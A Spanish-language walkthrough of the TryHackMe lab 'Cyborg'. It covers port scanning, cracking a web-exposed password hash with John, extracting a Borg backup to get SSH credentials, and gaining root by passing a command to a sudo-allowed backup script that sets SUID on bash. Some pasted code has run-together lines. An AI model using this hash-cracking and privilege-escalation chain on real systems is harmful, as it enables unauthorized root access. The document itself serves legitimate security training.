Cyborg es una maquina de TryHackMe, encontramos un backup creado con Borg, obtuvimos la contraseña enumerando la pagina web, dentro del backup encontramos las credenciales las cuales utilizamos en SSH. Para escalar privilegios analizamos un script el cual nos permitio dar permisos SUID a bash.
# Nmap 7.80 scan initiated Thu Feb 4 13:54:10 2021 as: nmap --min-rate 1000 -p- -T4 -oN portScan cyborg.thmWarning: 10.10.158.178 giving up on port because retransmission cap hit (6).
Nmap scan report for cyborg.thm (10.10.158.178)Host is up (0.31s latency).
Not shown: 59101 closed ports, 6432 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Thu Feb 4 13:57:01 2021 -- 1 IP address (1 host up) scanned in 171.33 seconds# Nmap 7.80 scan initiated Thu Feb 4 14:11:21 2021 as: nmap -sV -sC -oN serviceScan cyborg.thmNmap scan report for cyborg.thm (10.10.158.178)Host is up (0.28s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|2048 db:b2:70:f3:07:ac:32:00:3f:81:b8:d0:3a:89:f3:65 (RSA)|256 68:e6:85:2f:69:65:5b:e7:c6:31:2c:8e:41:67:d7:ba (ECDSA)|_ 256 56:2c:79:92:ca:23:c3:91:49:35:fa:dd:69:7c:ca:ab (ED25519)80/tcp open http Apache httpd 2.4.18 ((Ubuntu))|_http-server-header: Apache/2.4.18 (Ubuntu)|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb 4 14:12:25 2021 -- 1 IP address (1 host up) scanned in 64.42 seconds
RUSTBUSTER - HTTP
Encontramos el index de apache en el puerto 80, utilizamos rustbuster para busqueda de directorios y archivos.
Encontramos una pagina web que parece ser estatica, además vemos un nombre Alex (posible usuario) en la descripcion de Setup.
BORG > ALEX (USER)
Encontramos lo que parece ser un chat en la pagina donde vemos dos nuevos nombres Josh, Adam, y donde Alex menciona sobre algun tipo de proxy y que tiene un backup en music_archive.
Además vemos un archivo tar en el menu Archive > Download, el cual descargamos y analizamos. Encontramos archivos los cuales parecen ser archivos creados con BorgBackup, pero al intentar obtener estos archivos borg pide una frase la cual no tenemos por ahora.
kali@kali:~/thm/cyborg$ tar -xvf archive.tar
home/field/dev/final_archive/
home/field/dev/final_archive/hints.5
home/field/dev/final_archive/integrity.5
home/field/dev/final_archive/config
home/field/dev/final_archive/README
home/field/dev/final_archive/nonce
home/field/dev/final_archive/index.5
home/field/dev/final_archive/data/
home/field/dev/final_archive/data/0/
home/field/dev/final_archive/data/0/5
home/field/dev/final_archive/data/0/3
home/field/dev/final_archive/data/0/4
home/field/dev/final_archive/data/0/1
kali@kali:~/thm/cyborg/home/field/dev/final_archive$ file *
config: ASCII text
data: directory
hints.5: data
index.5: data
integrity.5: data
nonce: ASCII text, with no line terminators
README: ASCII text
kali@kali:~/thm/cyborg/home/field/dev/final_archive$ cat README
This is a Borg Backup repository.
See https://borgbackup.readthedocs.io/
kali@kali:~/thm/cyborg/home/field/dev/final_archive$
Anteriormente Rustubuster encontro un directorio (/etc/) al cual se le realizó una busqueda nueva, donde encontramos un nuevo directorio que contiene un archivo con una contraseña y un archivo de configuracion de lo que parece ser un “proxy”. Utilizamos John para obtener la contraseña en texto plano.
# HASH# music_archive:$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.kali@kali:~/thm/cyborg$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hashtype"md5crypt", but the string is also recognized as "md5crypt-long"Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash(md5crypt, crypt(3)$1$ (and variants)[MD5 256/256 AVX2 8x3])Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
[... REDACTED ...](music_archive)1g 0:00:00:00 DONE (2021-02-04 15:45) 4.347g/s 169460p/s 169460c/s 169460C/s 112806..samantha5
Use the "--show" option to display all of the cracked passwords reliably
Session completed
kali@kali:~/thm/cyborg$
Configuramos la contraseña encontrada como frase de BORG, listamos los archivos en el repositorio y encontramos music_archive el cual logramos extraer. El backup music_archive pertenece a la carpeta principal de alex donde encontramos su usuario y contraseña.
kali@kali:~/thm/cyborg/home/field/dev/final_archive$ exportBORG_PASSPHRASE='[... REDACTED ...]'kali@kali:~/thm/cyborg/home/field/dev/final_archive$ /home/kali/tools/borg/borg-linux64 list .
music_archive Tue, 2020-12-29 09:00:38 [f789ddb6b0ec108d130d16adebf5713c29faf19c44cad5e1eeb8ba37277b1c82]kali@kali:~/thm/cyborg/home/field/dev/final_archive$ /home/kali/tools/borg/borg-linux64 extract .::music_archive
kali@kali:~/thm/cyborg/home/field/dev/final_archive$ tree home/
home/
└── alex
├── Desktop
│ └── secret.txt
├── Documents
│ └── note.txt
├── Downloads
├── Music
├── Pictures
├── Public
├── Templates
└── Videos
9 directories, 2 files
kali@kali:~/thm/cyborg/home/field/dev/final_archive$ cat home/alex/Documents/note.txt
Wow I'm awful at remembering Passwords so I've taken my Friends advice and noting them down!
alex:[... REDACTED ...]kali@kali:~/thm/cyborg/home/field/dev/final_archive$
Utilizando dichas credenciales en el servicio SSH logramos obtener una shell y nuestra flag user.txt.
PRIVILEGE ESCALATION
Hacemos una pequeña enumeracion con sudo -l -l y vemos que tenemos permisos sudo (root) para ejecutar el script /etc/mp3backups/backup.sh. Dicho script realiza una busqueda de archivos mp3 los cuales se escriben en un archivo, tambien realiza un backup de los archivos descritos en la variable backup_files utilizando tar, además de eso durante su ejecucion verifica las “flags” que se le pasan al script en este caso seria -c utilizando getopts y al finalizar se ejecuta los parametros/comandos que se le pasan a -c, es decir /etc/mp3backups/backup.sh -c COMANDO.
#!/bin/bash
sudo find / -name "*.mp3"| sudo tee /etc/mp3backups/backed_up_files.txt
input="/etc/mp3backups/backed_up_files.txt"#while IFS= read -r line#do#a="/etc/mp3backups/backed_up_files.txt"# b=$(basename $input)#echo# echo "$line"#done < "$input"whilegetopts c: flag
docase"${flag}" in
c)command=${OPTARG};;esacdonebackup_files="/home/alex/Music/song1.mp3 /home/alex/Music/song2.mp3 /home/alex/Music/song3.mp3 /home/alex/Music/song4.mp3 /home/alex/Music/song5.mp3 /home/alex/Music/song6.mp3 /home/alex/Music/song7.mp3 /home/alex/Music/song8.mp3 /home/alex/Music/song9.mp3 /home/alex/Music/song10.mp3 /home/alex/Music/song11.mp3 /home/alex/Music/song12.mp3"# Where to backup to.dest="/etc/mp3backups/"# Create archive filename.hostname=$(hostname -s)archive_file="$hostname-scheduled.tgz"# Print start status message.echo"Backing up $backup_files to $dest/$archive_file"echo# Backup the files using tar.tar czf $dest/$archive_file$backup_files# Print end status message.echoecho"Backup finished"cmd=$($command)echo$cmd
Realizamo la ejecucion de bash (-c bash) pero la shell esta obsoleta, al ejecutar varios comandos no se muestran, solo lo hacen al salir de la shell. Por lo que le dimos permisos SUID a /bin/bash, luego de esto ejecutamos bash -p con el usuario Alex, lo que nos permitio obtener una shell root y nuestra flag root.txt.